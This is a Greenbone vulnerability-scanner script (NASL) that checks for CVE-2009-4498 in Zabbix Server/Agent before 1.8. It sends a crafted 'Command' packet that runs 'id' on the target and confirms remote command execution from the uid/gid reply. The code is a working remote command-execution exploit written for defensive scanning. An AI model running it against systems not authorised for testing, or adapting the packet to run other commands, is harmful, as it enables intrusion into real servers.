Zabbix Server/Agent < 1.8 Arbitrary Command Execution Vulnerability - Active Check

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:zabbix:zabbix";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.900226");
  script_version("2025-12-03T05:40:19+0000");
  script_tag(name:"last_modification", value:"2025-12-03 05:40:19 +0000 (Wed, 03 Dec 2025)");
  script_tag(name:"creation_date", value:"2010-01-28 16:24:05 +0100 (Thu, 28 Jan 2010)");
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2009-4498");
  script_name("Zabbix Server/Agent < 1.8 Arbitrary Command Execution Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_family("Gain a shell remotely");
  script_dependencies("gb_zabbix_server_agent_tcp_detect.nasl");
  script_require_ports("Services/zabbix", 10050, 10051);
  script_mandatory_keys("zabbix/server_or_agent/tcp/detected");

  script_xref(name:"URL", value:"https://support.zabbix.com/browse/ZBX-1030");
  script_xref(name:"URL", value:"https://web.archive.org/web/20091219213651/http://secunia.com/advisories/37740/3/");
  script_xref(name:"URL", value:"https://web.archive.org/web/20091216211219/http://www.vupen.com/english/advisories/2009/3514");

  script_tag(name:"summary", value:"Zabbix Server/Agent is prone to an arbitrary command execution
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends multiple crafted TCP requests and checks the
  responses.");

  script_tag(name:"insight", value:"This issue is due to an error in the 'node_process_command()'
  function, which can be exploited to execute arbitrary commands via specially crafted data.");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to execute arbitrary
  commands via specially crafted data.");

  script_tag(name:"affected", value:"Zabbix Server/Agent versions prior to 1.8.");

  script_tag(name:"solution", value:"Update to version 1.8 or later.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("misc_func.inc");
include("port_service_func.inc");

function _req( node, cmd, port ) {

  local_var node, cmd, port;
  local_var soc, host_id, req, recv;

  if( ! soc = open_sock_tcp( port ) )
    return;

  host_id = rand_str( length:3, charset:"1234567890" );

  req = "Command" + raw_string( 0xad ) + node + raw_string( 0xad ) + host_id + raw_string( 0xad ) + cmd + raw_string( 0x0a );
  send( socket:soc,data:req );

  recv = recv( socket:soc, length:1024 );
  close( soc );

  return recv;
}

ports = service_get_ports( default_port_list:make_list( 10050, 10051 ), proto:"zabbix" );

vuln = FALSE;

foreach port( ports ) {
  if( ! get_port_state( port ) )
    continue;

  node = "0";
  cmd = "id";

  recv = _req( node:node, cmd:cmd, port:port );

  if( "-1" >< recv && "NODE" >< recv ) {
    n = eregmatch( pattern:"NODE ([0-9])+", string:recv );
    if( isnull( n[1] ) )
      continue;

    node = string( n[1] );
    recv = _req( node:node, cmd:cmd, port:port );
  }

  if( recv =~ "uid=[0-9]+.*gid=[0-9]+.*" ) {
    vuln = TRUE;
    report = 'It was possible to execute the command "' + cmd + '" at the remote service. Response:\n\n' + recv;
    security_message( port:port, data:report );
  }
}

if( vuln )
  exit( 0 );
else
  exit( 99 );